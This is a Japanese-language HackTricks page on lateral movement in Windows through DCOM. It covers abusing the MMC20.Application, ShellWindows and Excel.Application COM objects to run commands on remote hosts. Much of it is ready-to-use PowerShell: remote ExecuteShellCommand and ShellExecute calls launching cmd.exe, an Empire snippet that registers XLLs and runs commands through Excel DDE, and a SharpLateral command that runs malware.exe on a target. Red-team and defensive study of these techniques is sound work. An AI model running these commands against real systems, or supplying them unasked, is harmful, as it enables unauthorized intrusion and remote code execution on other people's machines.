hacktricks/windows-hardening/lateral-movement/dcom-exec.md

11 KiB
Raw Blame History

DCOM Exec

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


MMC20.Application

このテクニックについての詳細情報は、https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/の元の投稿を参照してください

分散コンポーネントオブジェクトモデルDCOMオブジェクトは、ネットワークベースのオブジェクトとの興味深いやり取りを提供します。Microsoftは、DCOMとComponent Object ModelCOMの包括的なドキュメントを提供しており、DCOMの場合はこちらCOMの場合はこちらでアクセスできます。PowerShellコマンドを使用してDCOMアプリケーションのリストを取得できます

Get-CimInstance Win32_DCOMApplication

COMオブジェクト、MMC Application Class (MMC20.Application)は、MMCスナップイン操作のスクリプト化を可能にします。特に、このオブジェクトにはDocument.ActiveViewの下にExecuteShellCommandメソッドが含まれています。このメソッドに関する詳細情報はこちらで確認できます。次のように実行して確認します:

この機能は、DCOMアプリケーションを介してネットワーク上でコマンドを実行することを容易にします。管理者としてリモートでDCOMとやり取りするために、PowerShellを以下のように利用できます

[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

このコマンドはDCOMアプリケーションに接続し、COMオブジェクトのインスタンスを返します。その後、ExecuteShellCommandメソッドを呼び出してリモートホストでプロセスを実行できます。プロセスは以下の手順で行われます:

メソッドのチェック:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

RCEを取得します

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

ShellWindows & ShellBrowserWindow

この技術についての詳細は、元の投稿を参照してください https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

MMC20.Application オブジェクトは、明示的な "LaunchPermissions" が不足していることが特定され、管理者がアクセスできる権限を許可するデフォルト権限になっています。詳細については、こちらのスレッドを探索し、@tiraniddoの OleView .NET を使用して、明示的な Launch Permission がないオブジェクトをフィルタリングすることが推奨されています。

ShellBrowserWindowShellWindows という2つの特定のオブジェクトが、明示的な Launch Permissions がないために強調されました。HKCR:\AppID\{guid} の下に LaunchPermission レジストリエントリが存在しない場合、明示的な権限がないことを示します。

ShellWindows

ShellWindows の場合、ProgID がないため、.NET メソッド Type.GetTypeFromCLSIDActivator.CreateInstance を使用して、その AppID を使用してオブジェクトのインスタンス化を容易にします。このプロセスでは、OleView .NET を使用して ShellWindows の CLSID を取得します。一度インスタンス化されると、WindowsShell.Item メソッドを介して相互作用が可能になり、Document.Application.ShellExecute のようなメソッドの呼び出しが行われます。

オブジェクトをインスタンス化し、リモートでコマンドを実行するための例として、PowerShell コマンドが提供されました:

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Excel DCOMオブジェクトを使用した横方向移動

DCOM Excelオブジェクトを悪用することで、横方向移動を実現することができます。詳細な情報については、CybereasonのブログでExcel DDEを介したDCOMを利用した横方向移動に関する議論を読むことをお勧めします。

Empireプロジェクトは、Excelを使用してDCOMオブジェクトを操作することでリモートコード実行RCEを実証するPowerShellスクリプトを提供しています。以下は、ExcelをRCEに悪用するためのさまざまな方法を示す、EmpireのGitHubリポジトリのスクリプトからのスニペットです。

# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

レータルムーブメントのための自動化ツール

これらのテクニックを自動化するために2つのツールが強調されています

  • Invoke-DCOM.ps1: Empireプロジェクトによって提供されたPowerShellスクリプトで、リモートマシンでコードを実行するためのさまざまなメソッドの呼び出しを簡素化します。このスクリプトはEmpire GitHubリポジトリでアクセスできます。

  • SharpLateral: リモートでコードを実行するために設計されたツールで、次のコマンドと共に使用できます:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

自動ツール

  • PowershellスクリプトInvoke-DCOM.ps1は、他のマシンでコードを実行するためのすべてのコメント付き方法を簡単に呼び出すことができます。
  • SharpLateralも使用できます:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

参考

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

htARTEHackTricks AWS Red Team Expertを使用して、ゼロからヒーローまでAWSハッキングを学びましょう

HackTricksをサポートする他の方法